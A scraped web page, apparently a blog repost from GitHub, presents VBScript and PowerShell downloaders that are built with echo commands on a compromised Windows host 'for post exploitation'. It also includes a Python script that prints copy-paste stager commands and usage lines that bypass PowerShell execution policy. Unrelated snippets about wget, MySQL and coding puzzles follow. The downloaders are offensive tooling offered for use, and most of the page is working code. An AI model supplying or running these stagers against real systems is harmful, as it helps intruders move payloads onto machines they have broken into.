wget.vbs & wget.ps1
Wget-like tool for file transfer when do post exploitation.
CODE
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
echo $url = $args[0] > wget.ps1
echo $output = "$($pwd)\$($args[1])" >> wget.ps1
echo $wc = New-Object System.Net.WebClient >> wget.ps1
echo $wc.DownloadFile($url, $output) >> wget.ps1
#! /usr/bin/python
import sys
if len(sys.argv) !=3:
    print "Usage: gen_ps1_wget.py <http_server> <file_to_download>"
    sys.exit(0)
print "\n"
print "Copy and paste the following in to the host:"
print "\n"
print "echo $storageDir = $pwd > wget.ps1"
print "echo $webclient = New-Object System.Net.WebClient >> wget.ps1"
print "echo $url = 'http://%s/%s' >> wget.ps1"%(sys.argv[1],sys.argv[2])
print "echo $file = '%s' >> wget.ps1" % sys.argv[2]
print "echo $webclient.DownloadFile($url,$file) >> wget.ps1"
print "\n"
USAGE
cscript wget.vbs http://x.x.x.x filename
powershell.exe -ExecutionPolicy bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1  http://x.x.x.x  filename
from github.com
wget.vbs & wget.ps1的更多相关文章
- 安装wget 、 wget命令
		
今天给服务器安装新LNMP环境时,wget 时提示 -bash:wget command not found,很明显没有安装wget软件包.一般linux最小化安装时,wget不会默认被安装. 可以通 ...
 - 使用WGET参数介绍大全
		
wget 是一个命令行的下载工具.对于我们这些 Linux 用户来说,几乎每天都在使用它.下面为大家介绍几个有用的 wget 小技巧,可以让你更加高效而灵活的使用 wget. $ wget -r -n ...
 - Linux网络下载命令 wget 简介
		
wget 是一个命令行的下载工具.对于我们这些 Linux 用户来说,几乎每天都在使用它.下面为大家介绍几个有用的 wget 小技巧,可以让你更加高效而灵活的使用 wget. $ wget -r -n ...
 - 每天一个linux命令(61):wget命令
		
Linux系统中的wget是一个下载文件的工具,它用在命令行下.对于Linux用户是必不可少的工具,我们经常要下载一些软件或从远程服务器恢复备份到本地服务器.wget支持HTTP,HTTPS和FTP ...
 - Network - curl和Wget
		
curl - transfer a URL curl SYNOPSIS curl [options] [URL...] DESCRIPTION curl is a tool to transfer d ...
 - Linux 小工具学习之(1)——Wget十例[翻译]
		
在本博文中我们将学习一下wget这个工具.wget可以使用HTTP.HTTPS.和FTP等常见网络协议来从万维网(WWW)获取文件(从它的名字来源也可以看出 World Wide Web Get -& ...
 - linux命令 wget
		
Linux系统中的wget是一个下载文件的工具,它用在命令行下.对于Linux用户是必不可少的工具,我们经常要下载一些软件或从远程服务器恢复备份到本地服务器.wget支持HTTP,HTTPS和FTP协 ...
 - Wget下载终极用法和15个详细的例子
		
Wget下载终极用法和15个详细的例子 备注:wget 不支持https 下载,也没有相关https参数,当下载https的时候或以改用 axelWget是一种很好用的因特网下载工具,他具有的很多特 ...
 - curl/wget 测试http请求的响应头信息
		
1. wget –debug wget可以使用debug信息来查看信息头,如下: [root@localhost ~]# wget --debug http://192.168.1.101:8080/ ...
 
随机推荐
- Python 3基础教程25-异常处理
			
在Python中,异常处理,主要是try except语句,通常语法格式如下. try: 代码块1 except Exception as e: print(e) 代码2 接着前面读取CSV文件,如果 ...
 - 10-Mysql数据库----数据的增删改
			
本节重点: 插入数据 INSERT 更新数据 UPDATE 删除数据 DELETE 再来回顾一下之前我们练过的一些操作,相信大家都对插入数据.更新数据.删除数据有了全面的认识.那么在mysql中其实最 ...
 - LeetCode 82 ——删除排序链表中的重复元素 II
			
1. 题目 2. 解答 新建一个链表,并添加一个哨兵结点,从前向后开始遍历链表. 如果下一个结点的值和当前结点的值相等,则循环向后遍历直到找到一个和当前结点值不相等的结点: 反之,如果下一个结点的值和 ...
 - 权限管理UML设计草图
			
PS: 最近闲来无事,打算整一个权限管理模块.然而UML我只会看不会设计,现在的草图都是边学边做的,现在发出来,希望前辈们指点一二!先拜谢了! 搞开发也有2年多快三年了,我感觉自己基本上还是一个菜鸟 ...
 - 【python】Python3中出现'gbk' codec can't encode characte的成功解决方法?
			
亲身测试,所遇问题完全解决!2018/07/08 21:37 环境:windows,Pycharm,python3.6.2 使用Python写文件的时候,或者将网络数据流写入到本地文件的时候,大部分情 ...
 - 【EasyNetQ】- 基于topic的路由
			
RabbitMQ具有非常酷的功能,基于主题的路由,允许订户根据多个标准过滤消息.主题是由与消息一起发布的点分隔的单词列表.例如,“stock.usd.nyse”或“book.uk.london”或“a ...
 - (转)mongdb性能优化收集
			
一.数据库最大连接数问题当你在后台日志中,发现大量“connection refused because too many open connections: 819”信息时,一般跟你没有设置合适的最 ...
 - SSH整合需要的jar包
			
[struts相关jar] commons-fileupload-1.2.2.jar commons-io-2.0.1.jar commons-lang3-3.1.jar freemarker-2.3 ...
 - 使用XML传递数据
			
HTML <!DOCTYPE html> <html> <head lang="en"> <meta charset="UTF- ...
 - P3032 [USACO11NOV]二进制数独Binary Sudoku
			
题目描述 Farmer John's cows like to play an interesting variant of the popular game of "Sudoku" ...